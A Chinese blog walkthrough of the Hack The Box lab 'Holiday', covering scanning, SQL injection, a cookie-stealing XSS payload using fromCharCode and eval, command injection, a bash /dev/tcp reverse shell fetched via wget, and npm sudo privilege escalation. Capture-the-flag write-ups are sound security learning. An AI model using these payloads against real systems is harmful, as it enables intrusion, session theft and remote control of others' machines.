2021-02-25 HTB Holiday walkthrough

Target IP:10.10.10.25

信息搜集

信息搜集过程中遇到了一点小小的麻烦
例行nmap扫描,发现228000端口开放

nmap

8000端口是一个网页,里面啥也没有,所以决定对目录进行扫描

gobuster

gobuster什么都没扫到,一时觉得自己很失败,信息搜集步骤都卡住没法继续下去了。
在经历了nmap全端口重新扫描、gobuster换大型字典等尝试后,换了一个扫描器进行扫描,成功扫描到了admin,login等目录
dirsearch

想了想原因,gobuster的字典完全可以扫描到dirsearch的扫描结果的,那就只能让gobuster的UA背锅了,默认UA是gobuster/3.0.1而不是普通的浏览器UA,以后扫描的时候这方面也要考虑进去
UA

User

访问login页面,只有一个登录框,什么其他信息都没
感觉挺莫名其妙的,这就是hard难度的形式嘛
登录的逻辑很真实,分开判断用户名和密码,这就会涉及到2种不同的攻击

1. 用户名暴力猜解
2. SQL注入

一顿SQL注入尝试后,发现输入用户名a"or"1"="1后,会自动填充用户名RickA,猜测是SQL语句回显,直接给返回回来了
本来提起的盲注大刀放了下了,准备利用联合查询一探究竟。
一顿FUZZ之后成功注入

SQLinject

最终拿到RickA的密码fdc8cd4cff2c19e0d1022e78481ddf36
解密得

somd5

登录网站后,找到了添加note的功能,这个功能提示说需要经过admin的许可,那么应该是需要利用XSS来反弹admin的cookie了。
逻辑实在是有点难找,非常非常奇怪的过滤方式
尝试了很多,猜测后台用了很奇怪的过滤方式,只能向html插入img标签和src属性,其他情况下都会进行转义
那么试图利用src属性进行XSS
这个过程中又发现所有的单引号会被移除,这样有些操作就没法使用了
最终还是找了找大佬们的思路..利用img标签闭合和fromCharCode进行转义来绕过单引号检查
首先构造本地js,用来执行反弹cookie操作
aaa.js

然后进行字符转义
charcode

最后上传payload

<img src=x/><script>eval(String.fromCharCode(payload));</script>>

拿到cookie


xssresult

拿到cookie后,发现能够export一些数据库的内容下来,但是这些内容在SQL注入过程中就已经拿到了,没什么太多意义。随便FUZZ一下会发现


fuzz

考虑会不会是有命令注入


injectcmd

成功命令注入
接下来考虑的就是如何拿到shell,因为命令注入点是有一定过滤的,还是要绕过一下这个过滤

最终我选择了利用wget来反弹shell,这其中还需要把ip转成10进制形式,老生常谈了
aaa内容为

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.49/9999 0>&1

本地开启python simplehttpserver后,远程

wget ip/aaa
bash aaa

本地监听端口,拿到shell

提权

sudo -l后发现npm可以以管理员运行,利用npm提权

root

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 旨在解决渗透测试中遇到的各种疑难问题### 测试目标分类:WEB,APP,PC,SERVER等APP:1.利用抓包...
    曾经那个少年_阅读 2,428评论 1 0
  • 根据2018版教程整理。 (一)背景概述 信息技术的发展 信息技术的消极影响(1) 信息泛滥(2) 信息污染(3)...
    siuLimTau阅读 2,347评论 1 8
  • 夜莺2517阅读 127,778评论 1 9
  • 版本:ios 1.2.1 亮点: 1.app角标可以实时更新天气温度或选择空气质量,建议处女座就不要选了,不然老想...
    我就是沉沉阅读 6,996评论 1 6
  • 我是一名过去式的高三狗,很可悲,在这三年里我没有恋爱,看着同龄的小伙伴们一对儿一对儿的,我的心不好受。怎么说呢,高...
    小娘纸阅读 3,445评论 4 7